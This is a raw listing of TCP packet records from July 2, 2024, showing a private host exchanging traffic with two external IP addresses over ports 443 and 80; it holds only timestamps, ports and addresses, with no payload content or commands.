Jul 2, 2024 08:22:13.959522963 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.046528101 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.046598911 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.046622992 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.046750069 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.046787024 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.046792984 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.047066927 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.047100067 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.047107935 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.047112942 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.047137976 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.047374010 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048051119 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048078060 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048089981 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.048094988 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048129082 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.048204899 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048927069 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048952103 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.048964977 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.048969030 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.049005985 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.049010992 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.049750090 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.049789906 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.049794912 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.049896955 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.049938917 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.049943924 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.050133944 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.050169945 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.050174952 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.135863066 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.135915041 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.135931969 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.135950089 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.135960102 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.135993958 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.136017084 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136043072 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136059046 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.136070967 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136117935 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.136127949 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136188030 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.136316061 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136323929 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.136364937 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.137147903 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.137155056 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.137197018 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.137203932 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.137497902 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.137543917 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.137548923 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.137969017 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.138015032 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.138020039 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.138456106 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.138505936 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.138510942 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.139235020 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.139261007 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.139281034 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.139286041 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.139296055 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.140191078 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.140244961 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.140249968 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.224376917 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.224427938 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.224435091 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.224452972 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.224471092 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.224939108 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.224982977 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.224989891 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.225200891 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.225235939 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.225239038 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.225244045 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.225270033 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.225275993 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.225291967 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.226063013 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.226099968 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.226105928 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.226669073 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.226713896 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.226718903 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.227297068 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.227329969 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.227333069 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.227341890 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.227372885 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.227543116 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.228027105 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228063107 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228064060 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.228070974 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228100061 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.228890896 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228925943 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228929043 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.228935003 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.228970051 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.229751110 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.229789972 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.229798079 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.229834080 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.230673075 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.230706930 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.230715036 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.230748892 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.231606960 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.231648922 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.231654882 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.231661081 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.231687069 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.231694937 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.231730938 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.232578993 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.232614040 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.312886000 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.312957048 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.313009024 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.313054085 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.313489914 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.313533068 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.313536882 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.313549042 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.313577890 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.314287901 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.314332962 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.314335108 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.314341068 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.314363956 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.314393044 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.314400911 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.314410925 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.315237999 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.315282106 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.315288067 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.315294027 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.315336943 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.316232920 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.316276073 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.317246914 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.317281961 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.317307949 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.317315102 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.317338943 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.317348003 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.318243027 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.318275928 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.318290949 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.318295002 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.318324089 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.320012093 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.320040941 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.320070982 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.320076942 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.320089102 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.321052074 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.321074009 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.321104050 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.321110964 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.321121931 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.322043896 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.322072029 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.322093010 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.322098970 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.322109938 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.322129965 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.322170019 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.402199030 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.402211905 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.402266026 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.402292013 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.402306080 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.402348042 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.403074980 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.403105021 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.403129101 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.403136015 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.403148890 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.403173923 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.404608965 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.404637098 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.404654026 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.404660940 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.404685020 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.405575037 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.405607939 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.405631065 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.405637026 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.405649900 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.406538010 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.406563044 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.406596899 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.406604052 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.406619072 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.406645060 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.408469915 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.408505917 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.408529043 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.408535004 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.408546925 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.408560038 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.409414053 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.409441948 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.409461975 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.409468889 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.409478903 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.409523010 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.410219908 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.410248041 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.410286903 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.410286903 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.410294056 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.410307884 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.410370111 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:14.410407066 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.410440922 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.413876057 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:14.561253071 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:14.566932917 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:14.567025900 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:14.567187071 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:14.572324991 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170011997 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170038939 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170052052 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170062065 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170078039 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170088053 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170094013 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170135975 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.170135975 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.170351982 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170363903 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170373917 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.170593023 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.174990892 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.175025940 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.175043106 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.175050974 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.175126076 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.262495041 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262536049 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262548923 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262586117 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.262659073 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262670994 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262748957 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.262850046 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262866974 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262883902 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.262979031 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.262989998 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.263000965 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.263025999 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.263750076 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.263806105 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.263818026 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.263828039 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.263861895 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.264151096 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264163017 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264224052 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.264548063 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264559984 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264627934 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.264666080 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264682055 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264693022 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.264756918 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.265455008 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.265508890 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.265520096 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.265564919 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.267369032 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.267422915 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.267453909 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355473995 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355554104 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355555058 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.355565071 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355606079 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.355703115 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355712891 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355722904 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355734110 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.355765104 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.355765104 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357183933 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357192993 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357202053 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357212067 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357220888 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357233047 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357244015 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357280970 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357290030 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357305050 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357312918 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357327938 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357335091 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357336998 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357347012 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357355118 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357363939 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357372046 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357372046 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357425928 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357435942 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357444048 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357450008 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357451916 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357460976 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357470036 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357479095 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357485056 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357485056 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357492924 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.357496023 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.357584000 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.358026981 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358036995 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358046055 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358056068 CEST	80	49164	192.3.243.156	192.168.2.22
